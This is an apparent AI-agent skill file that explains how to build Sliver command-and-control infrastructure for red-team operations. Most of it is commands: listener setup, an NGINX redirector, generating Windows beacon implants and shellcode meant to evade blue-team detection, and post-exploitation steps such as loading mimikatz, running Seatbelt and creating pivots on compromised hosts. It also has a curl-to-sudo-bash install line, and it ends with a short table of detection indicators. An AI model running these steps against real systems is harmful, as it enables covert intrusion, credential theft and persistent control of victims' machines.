skills/building-c2-infrastructure-with-sliver-framework/SKILL.md
Deploy and harden a Sliver C2 team server (BishopFox's Go-based adversary emulation framework) with multi-protocol listeners (mTLS, HTTP/S, DNS, WireGuard), redirectors, domain fronting, and multi-operator support for authorized red-team operations. Use when standing up resilient C2 for a red-team engagement or generating beacon/session implants that must survive blue-team detection.
npx skillsauth add mukul975/cyber-skills building-c2-infrastructure-with-sliver-frameworkInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.
curl https://sliver.sh/install | sudo bash
systemctl start sliver
# Or run interactively
sliver-server
new-operator --name operator1 --lhost <team-server-ip>
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
dns --domains c2dns.example.com --lport 53
mtls --lhost 0.0.0.0 --lport 8888
wg --lport 51820
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
generate beacon --dns c2dns.example.com --os windows --arch amd64
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
beacons # List active beacons
use <beacon-id> # Interact with a beacon
ps # Process listing
netstat # Network connections
execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies
sideload /path/to/mimikatz.dll # Load DLLs
pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host
armory install sa-ldapsearch # Install from armory
sa-ldapsearch -- "(objectClass=user)" # Execute BOF
| Tool | Purpose | Platform | |------|---------|----------| | Sliver Server | C2 team server and implant management | Linux/macOS/Windows | | Sliver Client | Operator console for team members | Cross-platform | | NGINX | Redirector and reverse proxy | Linux | | Certbot | Let's Encrypt SSL certificate generation | Linux | | Cloudflare | CDN and domain fronting | Cloud | | Armory | Sliver extension/BOF package manager | Built-in |
| Indicator | Detection Method | |-----------|-----------------| | Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings | | mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports | | DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic | | WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns | | Sliver implant file hashes | EDR/AV signature matching against known Sliver samples |
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